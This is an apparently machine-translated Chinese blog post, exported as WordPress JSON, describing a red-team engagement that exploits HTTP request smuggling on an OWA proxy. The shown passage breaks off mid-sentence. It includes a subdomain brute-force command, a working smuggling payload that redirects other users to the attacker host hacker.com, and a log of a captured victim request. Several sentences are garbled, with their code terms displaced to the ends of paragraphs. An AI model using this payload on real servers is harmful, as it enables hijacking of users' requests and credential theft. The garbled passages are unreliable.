{"id":1554,"date":"2023-03-08T23:03:33","date_gmt":"2023-03-08T15:03:33","guid":{"rendered":"https:\/\/www.aqwu.net\/wp\/?p=1554"},"modified":"2023-03-08T23:04:11","modified_gmt":"2023-03-08T15:04:11","slug":"%e9%80%9a%e8%bf%87-http-%e8%af%b7%e6%b1%82%e8%b5%b0%e7%a7%81%e6%94%b6%e9%9b%86%e6%b4%bb%e5%8a%a8%e7%9b%ae%e5%bd%95%e5%87%ad%e6%8d%ae","status":"publish","type":"post","link":"https:\/\/www.aqwu.net\/wp\/?p=1554","title":{"rendered":"\u901a\u8fc7 HTTP \u8bf7\u6c42\u8d70\u79c1\u6536\u96c6\u6d3b\u52a8\u76ee\u5f55\u51ed\u636e"},"content":{"rendered":"\n<h2 class=\"wp-block-heading\">\u5141\u8bb8\u60a8\u6c38\u4e45\u8bbf\u95ee Exchange \u5ba2\u6237\u7aef\u51ed\u636e\u7684\u6f0f\u6d1e\u3002<\/h2>\n\n\n\n<p>\u5229\u7528\u9762\u5411\u516c\u4f17\u7684\u670d\u52a1\u662f\u5728\u7f51\u7edc\u4e2d\u83b7\u5f97\u521d\u59cb\u7acb\u8db3\u70b9\u7684\u4f17\u591a\u65b9\u6cd5\u4e4b\u4e00\u3002\u5728\u91ce\u5916\u770b\u5230\u8fd9\u79cd\u60c5\u51b5\u5e76\u4e0d\u5c11\u89c1\u3002\u5df2\u77e5\u5404\u79cd\u653b\u51fb\u8005\u4f1a\u6ee5\u7528\u6f0f\u6d1e\uff0c\u4f8b\u5982\u7f13\u51b2\u533a\u6ea2\u51fa \uff08<a href=\"https:\/\/attack.mitre.org\/groups\/G0098\/\" target=\"_blank\" rel=\"noreferrer noopener\">G0098<\/a>\uff09\u3001SQL \u6ce8\u5165 \uff08G0087\uff09 \u6216\u5176\u4ed6\u5177\u6709\u529f\u80fd\u6f0f\u6d1e\u5229\u7528\u4ee3\u7801 \uff08<a href=\"https:\/\/attack.mitre.org\/groups\/G0016\/\" target=\"_blank\" rel=\"noreferrer noopener\">G0016<\/a>\uff09 \u7684\uff08\u5df2\u77e5\uff09\u6f0f\u6d1e\u3002<a href=\"https:\/\/attack.mitre.org\/groups\/G0087\/\" target=\"_blank\" rel=\"noreferrer noopener\"><\/a><\/p>\n\n\n\n<p>\u4f5c\u4e3a\u4e00\u4e2a\u7ea2\u961f\uff0c\u6211\u4eec\u7684\u4efb\u52a1\u662f\u6a21\u62df\u8fd9\u4e9b\u5bf9\u624b\u3002\u7ea2\u961f\u53c2\u4e0e\u662f\u5bf9\u5bf9\u624b\u7684\u771f\u5b9e\u6a21\u62df\uff0c\u7b26\u5408\u5ba2\u6237\u7684\u5a01\u80c1\u6982\u51b5\u3002\u5728\u6a21\u62df\u8fc7\u7a0b\u4e2d\uff0c\u6211\u4eec\u5c1d\u8bd5\u4f7f\u7528\u5df2\u77e5\u5bf9\u624b\u4f7f\u7528\u7684\u6280\u672f\u6765\u8bbf\u95ee\u5ba2\u6237\u7684\u7687\u51a0\u4e0a\u7684\u5b9d\u77f3\u3002\u8bf7\u6ce8\u610f\uff0c\u8fd9\u4e9b\u6280\u672f\u4e0d\u4ec5\u9650\u4e8e\u6ee5\u7528\u6280\u672f\u6f0f\u6d1e\uff0c\u8fd8\u5305\u62ec\u4e1a\u52a1\uff08\u4f8b\u5982\u5bc6\u7801\u7b56\u7565\uff09\u548c\u884c\u4e3a\uff08\u4f8b\u5982\u793e\u4f1a\u5de5\u7a0b\uff09\u65b9\u9762\u3002\u7ea2\u961f\u53c2\u4e0e\u53ef\u7528\u4e8e\u57f9\u8bad\u84dd\u961f\u68c0\u6d4b\u548c\u5e94\u5bf9\u7c7b\u4f3c\u653b\u51fb\uff0c\u4ee5\u53ca\u68c0\u67e5\u7f51\u7edc\u5f39\u6027\u5ba2\u6237\u5982\u4f55\u62b5\u5fa1\u8fd9\u4e9b\u653b\u51fb\u3002<\/p>\n\n\n\n<p>\u672c\u535a\u5ba2\u4ecb\u7ecd\u4e86\u6211\u4eec\u5728\u4e00\u6b21\u6d3b\u52a8\u4e2d\u53d1\u73b0\u7684 HTTP \u8bf7\u6c42\u8d70\u79c1 \uff08HRS\uff09 \u6f0f\u6d1e\u3002\u5b83\u53ef\u7528\u4e8e\u6a21\u62df\u5229\u7528\u9762\u5411\u516c\u4f17\u7684\u670d\u52a1\uff0c\u540c\u65f6\u5728\u5ba2\u6237\u7f51\u7edc\u4e2d\u83b7\u5f97\u521d\u6b65\u7acb\u8db3\u70b9\u3002\u5728\u6211\u4eec\u7684\u4f8b\u5b50\u4e2d\uff0c\u5b83\u5141\u8bb8\u6211\u4eec\u6536\u96c6\u7528\u4e8e\u767b\u5f55Outlook Web Access\uff08OWA\uff09\u4ee5\u67e5\u770b\u654f\u611f\u6570\u636e\u7684Active Directory\u51ed\u636e\u3002<\/p>\n\n\n\n<p>\u4e4b\u540e\uff0c\u8fd9\u7bc7\u535a\u5ba2\u6587\u7ae0\u5c06\u7ee7\u7eed\u4ecb\u7ecd\u5982\u4f55\u901a\u8fc7\u5c06\u5ba2\u6237\u7aef\u8fc1\u79fb\u5230\u6076\u610f\u7684\u4e2d\u95f4\u4eba Exchange \u670d\u52a1\u5668\u6765\u83b7\u5f97\u5bf9 OWA \u7684\u6301\u4e45\u8bbf\u95ee\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"HTTP-Request-Smuggling\"><a href=\"https:\/\/tij.me\/blog\/harvesting-active-directory-credentials-via-http-request-smuggling\/#HTTP-Request-Smuggling\"><\/a>HTTP \u8bf7\u6c42\u8d70\u79c1<\/h3>\n\n\n\n<p>HTTP\u8bf7\u6c42\u8d70\u79c1\uff08HRS\uff09\u6f0f\u6d1e\u73b0\u5728\u975e\u5e38\u666e\u904d\u30022005\u5e74\uff0cCGISecurity\u53d1\u5e03\u4e86\u4e00\u4efd\u767d\u76ae\u4e66\uff08<a href=\"https:\/\/www.cgisecurity.com\/lib\/HTTP-Request-Smuggling.pdf\" target=\"_blank\" rel=\"noreferrer noopener\">\u94fe\u63a5<\/a>\uff09\uff0c\u8be6\u7ec6\u4ecb\u7ecd\u4e86\u6f0f\u6d1e\u662f\u5982\u4f55\u4ea7\u751f\u7684\uff0c\u5b83\u53ef\u80fd\u9020\u6210\u4ec0\u4e48\u4ee5\u53ca\u5982\u4f55\u7f13\u89e3\u5b83\u3002\u5982\u679c\u60a8\u4e0d\u786e\u5b9aHRS\u662f\u5982\u4f55\u5de5\u4f5c\u7684\uff0c\u6211\u5f3a\u70c8\u5efa\u8bae\u60a8\u9605\u8bfb\u767d\u76ae\u4e66\u6216PortSwigger\u5173\u4e8eHRS\u7684\u535a\u5ba2\u6587\u7ae0\uff08<a href=\"https:\/\/portswigger.net\/web-security\/request-smuggling\" target=\"_blank\" rel=\"noreferrer noopener\">\u94fe\u63a5<\/a>\uff09\uff0c\u4ee5\u719f\u6089\u81ea\u5df1\u3002\u7b80\u800c\u8a00\u4e4b\uff0c\u5f53\u7f51\u7edc\u670d\u52a1\u5668\u548c\u4ee3\u7406\u53ef\u4ee5\u4e0d\u540c\u6b65\u65f6\uff0c\u5c31\u4f1a\u51fa\u73b0 HRS\u3002\u5a01\u80c1\u53c2\u4e0e\u8005\u53ef\u4ee5\u53d1\u9001\u7684\u8bf7\u6c42\uff0c\u8be5\u8bf7\u6c42\u5728\u524d\u7aef\u670d\u52a1\u5668\u4e2d\u7684\u89e3\u91ca\u65b9\u5f0f\u4e0e\u540e\u7aef\u670d\u52a1\u5668\u4e2d\u7684\u89e3\u91ca\u4e0d\u540c\u3002\u4f8b\u5982\uff0c\u5a01\u80c1\u53c2\u4e0e\u8005\u53d1\u9001\u4e00\u4e2a\u7279\u5236\u8bf7\u6c42\uff0c\u524d\u7aef\u670d\u52a1\u5668\u5c06\u8be5\u8bf7\u6c42\u89e3\u91ca\u4e3a 1 \u4e2a\u8bf7\u6c42\uff0c\u4f46\u540e\u7aef\u670d\u52a1\u5668\u5c06\u5176\u89e3\u91ca\u4e3a 2 \u4e2a\u8bf7\u6c42\u3002\u56e0\u6b64\uff0c\u7b2c\u4e8c\u4e2a\u8bf7\u6c42\u88ab\u201c\u5077\u8fd0\u201d\u5230\u524d\u7aef\u670d\u52a1\u5668\uff0c\u6700\u7ec8\u5230\u8fbe\u540e\u7aef\u670d\u52a1\u5668\u3002\u7136\u540e\uff0c\u8be5\u8bf7\u6c42\u7684\u54cd\u5e94\u5c06\u63d0\u4f9b\u7ed9\u4e0b\u4e00\u4e2a\u8bbf\u95ee\u8005\uff0c\u6b63\u5982PortSwigger\u7684James Kettle\u6240\u63cf\u8ff0\u7684\u90a3\u6837\uff0c\u6b63\u5982PortSwigger\u7684James Kettle\u6240\u63cf\u8ff0\u7684\u90a3\u6837\uff08<a href=\"https:\/\/hackerone.com\/reports\/498052\" target=\"_blank\" rel=\"noreferrer noopener\">\u94fe\u63a5<\/a>\uff09\u3002<\/p>\n\n\n\n<p>\u6ee5\u7528HRS\u4f1a\u6781\u5927\u5730\u5f71\u54cd\u7cfb\u7edf\u7684\u673a\u5bc6\u6027\uff0c\u5b8c\u6574\u6027\u548c\u53ef\u7528\u6027\u3002\u6b63\u5982\u5728\u8d1f\u8d23\u4efb\u7684\u62ab\u9732\uff08<a href=\"https:\/\/hackerone.com\/reports\/737140\" target=\"_blank\" rel=\"noreferrer noopener\">\u94fe\u63a5<\/a>\uff09\u4e2d\u53d1\u5e03\u7684\u90a3\u6837\uff0cEvan Custodio\u80fd\u591f\u901a\u8fc7\u6ee5\u7528HRS\u7a83\u53d6cookie\u6765\u63a5\u7ba1Slack\u5e10\u6237\u3002\u5176\u4ed6\u793a\u4f8b\u5305\u62ec New Relic \u4e0a\u7684\u51ed\u636e\u76d7\u7a83\uff08\u94fe\u63a5\uff09\u548c\u7f8e\u56fd<a href=\"https:\/\/hackerone.com\/reports\/498052\" target=\"_blank\" rel=\"noreferrer noopener\"><\/a>\u56fd\u9632\u90e8\u57fa\u7840\u8bbe\u65bd\u4e0a\u7684\u7528\u6237\u91cd\u5b9a\u5411\uff08<a href=\"https:\/\/hackerone.com\/reports\/526880\" target=\"_blank\" rel=\"noreferrer noopener\">\u94fe\u63a5<\/a>\uff09\u3002<\/p>\n\n\n\n<p>\u5728\u6211\u4eec\u7684\u6848\u4f8b\u4e2d\uff0cHRS\u5141\u8bb8\u6211\u4eec\u6536\u96c6Active Directory\u51ed\u636e\uff0c\u8fd9\u5728\u4e0b\u9762\u7684\u653b\u51fb\u53d9\u8ff0\u4e2d\u8fdb\u884c\u4e86\u63cf\u8ff0\u3002\u8fd9\u4e2a\u653b\u51fb\u53d9\u4e8b\u5305\u62ec\u4ece\u96f6\u5230\u82f1\u96c4\u7684\u6574\u4e2a\u8def\u5f84\uff0c\u5c31\u50cf\u6211\u4eec\u5728\u4ea4\u6218\u4e2d\u6ee5\u7528\u5b83\u4e00\u6837\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"Attack-narrative\"><a href=\"https:\/\/tij.me\/blog\/harvesting-active-directory-credentials-via-http-request-smuggling\/#Attack-narrative\"><\/a>\u653b\u51fb\u53d9\u4e8b<\/h3>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"Identifying-proxied-infrastructure\"><a href=\"https:\/\/tij.me\/blog\/harvesting-active-directory-credentials-via-http-request-smuggling\/#Identifying-proxied-infrastructure\"><\/a>\u8bc6\u522b\u4ee3\u7406\u57fa\u7840\u7ed3\u6784<\/h4>\n\n\n\n<p>\u5728\u4e0e\u4e00\u4f4d\u5ba2\u6237\u5408\u4f5c\u671f\u95f4\uff0c\u6211\u4eec\u7684\u76ee\u6807\u662f\u901a\u8fc7\u6e17\u900f\u4ed6\u4eec\u7684\u6570\u5b57\u57fa\u7840\u8bbe\u65bd\u6765\u83b7\u5f97\u521d\u6b65\u7acb\u8db3\u70b9\u3002\u7531\u4e8e\u81ea\u52a8\u626b\u63cf\u6ca1\u6709\u4ea7\u751f\u7ed3\u679c\uff0c\u6211\u4eec\u5f88\u5feb\u8f6c\u5411\u624b\u52a8\u7814\u7a76\u3002\u5404\u79cd\u670d\u52a1\uff0c\u5305\u62ecOutlook Web Access\uff08OWA\uff09\uff0c\u5728\u4f7f\u7528GoBuster\u5de5\u5177\uff08<a href=\"https:\/\/github.com\/OJ\/gobuster\" target=\"_blank\" rel=\"noreferrer noopener\">\u94fe\u63a5<\/a>\uff09\u66b4\u529b\u5f3a\u5236\u5b50\u57df\u65f6\u88ab\u8bc6\u522b\u51fa\u6765\u3002\u6b63\u5728\u4f7f\u7528\u7684\u5355\u8bcd\u5217\u8868\u7531<a href=\"https:\/\/github.com\/bitquark\/dnspop\/blob\/master\/results\/bitquark_20160227_subdomains_popular_100000\" target=\"_blank\" rel=\"noreferrer noopener\">@bitquark<\/a>\u751f\u6210\uff0c\u5305\u542b 100.000 \u4e2a\u6700\u5e38\u7528\u7684\u5b50\u57df\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$ gobuster dns -d customer.com -i -w ~\/seclists\/Discovery\/DNS\/bitquark-subdomains-top100000.txt --wildcard\n\n===============================================================\nGobuster v3.1.0\nby OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)\n===============================================================\n&#91;+] Domain:            customer.com\n&#91;+] Threads:           10\n&#91;+] Show IPs:          true\n&#91;+] Wildcard forced:   true\n&#91;+] Timeout:           1s\n&#91;+] Wordlist:          ~\/seclists\/Discovery\/DNS\/bitquark-subdomains-top100000.txt\n===============================================================\n1337\/07\/16 15:30:59 Starting gobuster in DNS enumeration mode\n===============================================================\nFound: dev.customer.com &#91;153.92.999.999]\nFound: www.customer.com &#91;80.148.999.999]\nFound: owa.customer.com &#91;86.213.999.999] &lt;-- Outlook Web Access (OWA)\n-- snip --<\/code><\/pre>\n\n\n\n<p>\u5728\u68c0\u67e5\u8fd9\u4e9b\u670d\u52a1\u65f6\uff0c\u6211\u4eec\u53d1\u73b0\u6211\u4eec\u6b63\u5728\u4e0e\u4ee3\u7406\u901a\u4fe1\u3002\u6709\u51e0\u79cd\u65b9\u6cd5\u53ef\u4ee5\u68c0\u6d4b\u670d\u52a1\u662f\u5426\u5728\u4ee3\u7406\u540e\u9762\u8fd0\u884c\u3002Web \u5e94\u7528\u7a0b\u5e8f\u7684\u5e38\u7528\u6280\u672f\u662f\u5c06\u4ee5\u4e0b\u8bf7\u6c42\u53d1\u9001\u5230\u5e94\u7528\u7a0b\u5e8f\uff0c\u8be5\u8bf7\u6c42\u5728\u8bf7\u6c42\u7684\u7b2c\u4e00\u884c\u4e2d\u5305\u542b\u53e6\u4e00\u4e2a URI\u3002<\/p>\n\n\n\n<p>\u8bf7\u6c42\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code><strong>GET<\/strong> https:\/\/actually-request-this-site.com\/ HTTP\/1.1\n<strong>Host<\/strong>: owa.customer.com\n<strong>User-Agent<\/strong>: Mozilla\/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Netscape\/8.0.4<\/code><\/pre>\n\n\n\n<p>\u5e38\u89c4 Web \u670d\u52a1\u5668\u5c06\u751f\u6210\u201c421 \u9519\u8bef\u8bf7\u6c42\u201d\u54cd\u5e94\u3002\u4e0b\u9762\u5305\u62ec\u4e00\u4e2a\u793a\u4f8b\u3002<\/p>\n\n\n\n<p>\u54cd\u5e94\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>HTTP\/1.1 421 Misdirected Request\n<strong>Server<\/strong>: Apache\n<strong>Content-Length<\/strong>: 322\n<strong>Content-Type<\/strong>: text\/html; charset=iso-8859-1\n\n-- snip --\n&lt;p&gt;The client needs a new connection for this request as the requested host name does not match the Server Name Indication (SNI) in use for this connection.&lt;\/p&gt;\n-- snip -- <\/code><\/pre>\n\n\n\n<p>\u4f46\u662f\uff0c\u5f53\u6211\u4eec\u5bf9 \u8fd0\u884c\u6b64\u547d\u4ee4\u65f6\uff0c\u670d\u52a1\u5668\u8fd4\u56de\u4e86\u4ee5\u4e0b\u54cd\u5e94\uff0c\u4e00\u4e2a .\u5f53\u65f6\uff0c\u6211\u4e2a\u4eba\u8ba4\u4e3a\u8fd9\u79cd\u91cd\u5b9a\u5411\u662fHTTP\u4ee3\u7406\u7684\u5178\u578b\u884c\u4e3a\u3002\u4f46\u662f\uff0c\u540e\u6765\u6211\u53d1\u73b0\u5b83\u5e94\u8be5\u662f\u4e00\u4e2a\u6216\u5b9e\u9645\u7684\u54cd\u5e94\u4f53\uff0c\u5982 RFC7230\uff08<a href=\"https:\/\/tools.ietf.org\/html\/rfc7230\" target=\"_blank\" rel=\"noreferrer noopener\">\u94fe\u63a5<\/a>\uff09\u4e2d\u6240\u8ff0\u3002<code>owa.customer.com<\/code><code>302 Moved Temporarily<\/code><code>200 OK<\/code><code>203 Non-Authoritative Information<\/code><\/p>\n\n\n\n<p>\u54cd\u5e94\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>HTTP\/1.1 302 Moved Temporarily\nLocation: https:\/\/actually-request-this-site.com\/owa\/\nServer: server1\nX-FEServer: US-EXCH-008\n-- snip --<\/code><\/pre>\n\n\n\n<p>\u4f46\u662f\uff0c\u786e\u5b9e\u663e\u793a\u6b63\u5728\u4f7f\u7528\u7684\u4ee3\u7406\u662f\u6807\u5934\uff0c\u5177\u6709 as \u503c\u3002\u8fd9\u662f Microsoft IIS \u670d\u52a1\u5668\u7684\u975e\u9ed8\u8ba4\u503c\u3002\u9ed8\u8ba4\u60c5\u51b5\u4e0b\uff0c\u8be5\u503c\u4e3a \uff08\u6216\u5176\u4ed6\u7248\u672c\uff09\u3002\u8fd9\u8868\u660e\u4ee3\u7406\u5f88\u53ef\u80fd\u66f4\u6539\u4e86\u54cd\u5e94\u3002<code>Server<\/code><code>server1<\/code><code>Microsoft-IIS\/8.5<\/code><\/p>\n\n\n\n<p>\u73b0\u5728\u6211\u4eec\u6709\u4e86\u4ee3\u7406\u7684\u6307\u793a\uff0c\u6211\u4eec\u53ef\u4ee5\u7ee7\u7eed\u68c0\u67e5\u5b83\u662f\u5426\u5bb9\u6613\u53d7\u5230 HRS \u7684\u653b\u51fb\u3002<code>owa.customer.com<\/code><\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"Identifying-vulnerable-proxy-setups\"><a href=\"https:\/\/tij.me\/blog\/harvesting-active-directory-credentials-via-http-request-smuggling\/#Identifying-vulnerable-proxy-setups\"><\/a>\u8bc6\u522b\u6613\u53d7\u653b\u51fb\u7684\u4ee3\u7406\u8bbe\u7f6e<\/h4>\n\n\n\n<p>\u8003\u8651\u5230James Kettle\u7684\u7814\u7a76\uff0c\u6211\u4eec\u7740\u624b\u8c03\u67e5\u8fd9\u79cd\u8bbe\u7f6e\u662f\u5426\u5bb9\u6613\u53d7\u5230HRS\u7684\u5f71\u54cd\u3002\u4e3a\u4e86\u786e\u5b9a\u662f\u5426\u5bb9\u6613\u53d7\u5230 HRS \u7684\u653b\u51fb\uff0c\u6211\u4eec\u53d1\u9001\u4e86\u4ee5\u4e0b\u8bf7\u6c42\u3002<code>owa.customer.com<\/code><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code><strong>POST<\/strong> \/owa\/auth\/logon.aspx?2whS=929722944 HTTP\/1.1\n<strong> Transfer-Encoding<\/strong>: chunked\n<strong>Connection<\/strong>: keep-alive\n<strong>Host<\/strong>: owa.customer.com\n<strong>User-Agent<\/strong>: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko\/20100101 Firefox\/75.0\n<strong>Accept<\/strong>: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8\n<strong>Accept-Language<\/strong>: nl,en-US;q=0.7,en;q=0.3\n<strong>Accept-Encoding<\/strong>: gzip, deflate\n<strong>Upgrade-Insecure-Requests<\/strong>: 1\n<strong>Content-Type<\/strong>: application\/x-www-form-urlencoded\n<strong>Content-Length<\/strong>: 124\n\n44\n6kqfa=x&amp;url=https%3a%2f%2fowa.customer.com%2fowa%2f&amp;reason=0&amp;whfto=x\n0\n\nGET https:\/\/hacker.com\/ HTTP\/1.0\nX-Ignore: 1<\/code><\/pre>\n\n\n\n<p>\u6b64\u8bf7\u6c42\u7684 a \u4e3a 124\uff0c\u5373\u6574\u4e2a\u6b63\u6587\u3002\u5b83\u5c06\u88ab\u53d1\u5e03\u5230\u4ee3\u7406\uff0c\u4ee3\u7406\u5c06\u4f7f\u7528\u5b83\u6765\u786e\u5b9a\u6b63\u6587\u7684\u957f\u5ea6\u4e3a 124 \u5b57\u8282\u3002\u7136\u540e\u5c06\u8bf7\u6c42\u8f6c\u53d1\u5230\u5b9e\u9645\u7684 OWA \u670d\u52a1\u3002<code>Content-Length<\/code><\/p>\n\n\n\n<p>\u5982\u679c\u6b64\u8bbe\u7f6e\u5bb9\u6613\u53d7\u5230 HRS \u7684\u653b\u51fb\uff0c\u5219 OWA \u4f1a\u4ee5\u4e0d\u540c\u7684\u65b9\u5f0f\u5904\u7406\u8bf7\u6c42\uff08\u4f7f\u7528\u5206\u5757\u7f16\u7801\u800c\u4e0d\u662f\u4f7f\u7528\u5185\u5bb9\u957f\u5ea6\uff09\u3002\u5206\u5757\u7f16\u7801\u5141\u8bb8\u5ba2\u6237\u7aef\u5728\u6b63\u6587\u4e2d\u53d1\u9001\u6570\u636e\u5757\u3002\u5728\u672c\u4f8b\u4e2d\uff0c\u6709\u4e00\u4e2a\u6570\u636e\u5757\u3002\u8fd9\u4ece\u5341\u516d\u8fdb\u5236\u5f00\u59cb\uff0c\u5982\u679c\u8f6c\u6362\u4e3a\u5341\u8fdb\u5236\u3002\u8fd9\u662f\u5757\u4f53\u7684\u957f\u5ea6\uff0c\u53ef\u4ee5\u5728\u4e0b\u4e00\u884c\u770b\u5230\u3002\u5728 68 \u4e2a\u5b57\u7b26\u4e4b\u540e\uff0c\u8bf7\u6c42\u4ee5\u5927\u5c0f\u7684\u5757\u7ec8\u6b62\u3002<em>\u8fd9\u662f OWA \u63a5\u53d7\u7684\u6b63\u5e38\u8bf7\u6c42\u3002<\/em><code>44<\/code><code>68<\/code><code>0<\/code><\/p>\n\n\n\n<p>\u4f46\u662f\uff0c\u7aef\u63a5\u540e\u7684\u96f6\u4ef6\u5c06\u4fdd\u6301\u672a\u5904\u7406\u72b6\u6001\u3002OWA \u670d\u52a1\u4f1a\u5c06\u5176\u89c6\u4e3a\u4ee3\u7406\uff08\u53ef\u80fd\u6765\u81ea\u5176\u4ed6\u7528\u6237\uff09\u53d1\u9001\u7684\u4e0b\u4e00\u4e2a\u8bf7\u6c42\u7684\u4e00\u90e8\u5206\u3002<\/p>\n\n\n\n<p>\u8fd9\u4e5f\u53ef\u4ee5\u53cd\u8fc7\u6765\u5de5\u4f5c\uff08\u5982\u679c\u4ee3\u7406\u4f7f\u7528\u5206\u5757\u7f16\u7801\uff0c\u800c OWA \u4f7f\u7528\u5185\u5bb9\u957f\u5ea6\uff09\u3002\u57fa\u7840\u8bbe\u65bd\u53ef\u4ee5\u901a\u8fc7\u591a\u79cd\u65b9\u5f0f\u5bb9\u6613\u53d7\u5230 HRS \u7684\u653b\u51fb\u3002\u6240\u6709\u8fd9\u4e9b\u65b9\u6cd5\u90fd\u5728PortSwigger\u7684\u535a\u5ba2\uff08<a href=\"https:\/\/portswigger.net\/web-security\/request-smuggling\" target=\"_blank\" rel=\"noreferrer noopener\">\u94fe\u63a5<\/a>\uff09\u4e2d\u8fdb\u884c\u4e86\u63cf\u8ff0\u3002\u5b9e\u9645\u4e0a\uff0c\u6211\u4eec\u4f7f\u7528\u7684\u771f\u6b63\u6280\u5de7\u662f\u5728\u4f20\u8f93\u7f16\u7801\u6807\u5934\u4e4b\u524d\u63d2\u5165\u4e86\u4e00\u4e2a\u7a7a\u683c; .\u4ee3\u7406\u65e0\u6cd5\u89e3\u6790\u5b83\uff0c\u5e76\u4f7f\u7528 \u6765\u786e\u5b9a\u6b63\u6587\u957f\u5ea6\u3002\u4f46\u662f\uff0cOWA&nbsp;<em>\u80fd\u591f<\/em>\u89e3\u6790\u5b83\u5e76\u4f7f\u7528\u6807\u5934\u6765\u786e\u5b9a\u6b63\u6587\u957f\u5ea6\u3002<code>Transfer-Encoding: chunked<\/code><code>Content-Length<\/code><code>Transfer-Encoding<\/code><\/p>\n\n\n\n<p>\u5f53\u6211\u4eec\u6267\u884c\u4e0a\u9762\u7684\u8bf7\u6c42\u65f6\uff0c\u6211\u4eec\u4ece\u670d\u52a1\u5668\u5f97\u5230\u4e86\u4ee5\u4e0b\u54cd\u5e94\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>HTTP\/1.1 200 OK\n<strong>Cache-Control<\/strong>: no-cache, no-store\n<strong>Pragma<\/strong>: no-cache\n<strong>Content-Type<\/strong>: text\/html; charset=utf-8\n<strong>Expires<\/strong>: -1\n<strong>Server<\/strong>: server1\n<strong>request-id<\/strong>: 59b59708-3551-44ec-8e05-1e8be2e11859\n<strong>Set-Cookie<\/strong>: ClientId=MMEESFDUOFIVCMQNW; expires=Wed, 30-Mar-2022 20:57:55 GMT; path=\/; HttpOnly\n<strong>X-Frame-Options<\/strong>: SAMEORIGIN\n<strong>X-AspNet-Version<\/strong>: 4.0.30319\n<strong>X-Powered-By<\/strong>: ASP.NET\n<strong>Date<\/strong>: Tue, 30 Mar 2021 20:57:54 GMT\n<strong>Content-Length<\/strong>: 28032\n\n&lt;!DOCTYPE HTML PUBLIC \"-\/\/W3C\/\/DTD HTML 4.01 Transitional\/\/EN\"&gt;\n&lt;!-- Copyright (c) 2011 Microsoft Corporation.  All rights reserved. --&gt;\n&lt;!-- OwaPage = ASP.auth_logon_aspx --&gt;\n-- snip --<\/code><\/pre>\n\n\n\n<p>\u53ef\u4ee5\u770b\u51fa\uff0c\u54cd\u5e94\u72b6\u6001\u4e3a \uff0c\u8fd9\u610f\u5473\u7740\u6211\u4eec\u7684\u8bf7\u6c42\u662f\u6709\u6548\u7684\uff0c\u5e76\u4e14\u670d\u52a1\u5668\u8fd4\u56de\u4e86\u6709\u6548\u7684\u54cd\u5e94\u3002\u8d77\u521d\uff0c\u6211\u8ba4\u4e3a\u8fd9\u610f\u5473\u7740\u5b83\u4e0d\u4f1a\u89e3\u91ca\u6211\u4eec\u8eab\u4f53\u7684\u7b2c\u4e8c\u90e8\u5206\uff0c\u56e0\u4e3a\u5b83\u4f1a\u4ea7\u751f\u53cd\u5e94\u72b6\u6001\u3002\u6211\u8ba4\u4e3a\u4ee3\u7406\/ OWA\u8bbe\u7f6e\u5f88\u53ef\u80fd\u5bb9\u6613\u53d7\u5230\u653b\u51fb\u3002\u7136\u800c\uff0c\u7ecf\u8fc7\u8fdb\u4e00\u6b65\u7684\u7814\u7a76\uff0c\u7ed3\u679c\u53d1\u73b0OWA\u63a5\u53d7\u4efb\u4f55\u4efb\u610f\u7684POST\u6570\u636e\u3002<code>200 OK<\/code><code>400 Bad Request<\/code><\/p>\n\n\n\n<p>\u4e00\u79cd\u66f4\u786e\u5b9a\u7684\u9a8c\u8bc1\u65b9\u6cd5\u662f\u5728\u8bf7\u6c42\u6b63\u6587\u7684\u7b2c\u4e8c\u90e8\u5206\u4e2d\u68c0\u67e5\u5176\u4ed6\u7528\u6237\u662f\u5426\u6536\u5230\u4e86\u5bf9\u6211\u4eec\u8bf7\u6c42\u7684\u54cd\u5e94\u3002\u7531\u4e8e\u6211\u4eec\u8eab\u4f53\u7b2c\u4e8c\u90e8\u5206\u7684\u8bf7\u6c42\u901a\u5e38\u8fd4\u56de \uff0c\u73b0\u5728\u5e94\u8be5\u5c06\u53e6\u4e00\u4e2a\u7528\u6237\u91cd\u5b9a\u5411\u5230\u57df\uff0c\u56e0\u4e3a\u8be5\u7528\u6237\u83b7\u5f97\u4e86\u91cd\u5b9a\u5411\u4f5c\u4e3a\u5bf9\u5176\u8bf7\u6c42\u7684\u54cd\u5e94\u3002\u4e3a\u4e86\u9a8c\u8bc1\u8fd9\u4e00\u70b9\uff0c\u6211\u4eec\u68c0\u67e5\u4e86 \u7684\u8bbf\u95ee\u65e5\u5fd7\u3002\u5b83\u7684\u91cd\u8981\u90e8\u5206\u5df2\u5305\u62ec\u5728\u4e0b\u9762\u3002<code>301 Moved Permanently<\/code><code>hacker.com<\/code><code>hacker.com<\/code><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>root@hacker:\/home\/tijme# tail -f \/var\/log\/apache2\/other_vhosts_access.log\nhacker.com:443 52.12.999.999 - - &#91;19\/Dec\/2091:12:09:29 +0200] \"OPTIONS \/Microsoft-Server-ActiveSync?Cmd=Options&amp;User=alice@customer.com&amp;DeviceId=e1568c571e684e0fb1724da85d215dc0&amp;DeviceType=Outlook HTTP\/1.1\" 200 3473 \"-\" \"Outlook-iOS-Android\/1.0\"<\/code><\/pre>\n\n\n\n<p>\u4e8b\u5b9e\u4e0a\uff0c\u4e8b\u5b9e\u8bc1\u660e\u5b83\u662f\u8106\u5f31\u7684\uff01\u5176\u4e2d\u4e00\u4e2a\u7528\u6237\u88ab\u91cd\u5b9a\u5411\u5230\u6211\u4eec\u7684\u57df\uff0c\u8fd9\u8868\u660e HRS \u8bf7\u6c42\u5df2\u6210\u529f\u6267\u884c\u3002<code>hacker.com<\/code><\/p>\n\n\n\n<p>\u770b\u7740\u8bbf\u95ee\u65e5\u5fd7\uff0c\u6211\u8ba4\u4e3a\u53d1\u751f\u4e86\u4e00\u4e9b\u6709\u8da3\u7684\u4e8b\u60c5\u3002\u5728\u6211\u770b\u6765\uff0c\u53d7\u5bb3\u8005\u5b9e\u9645\u4e0a\u5e94\u8be5\u5411 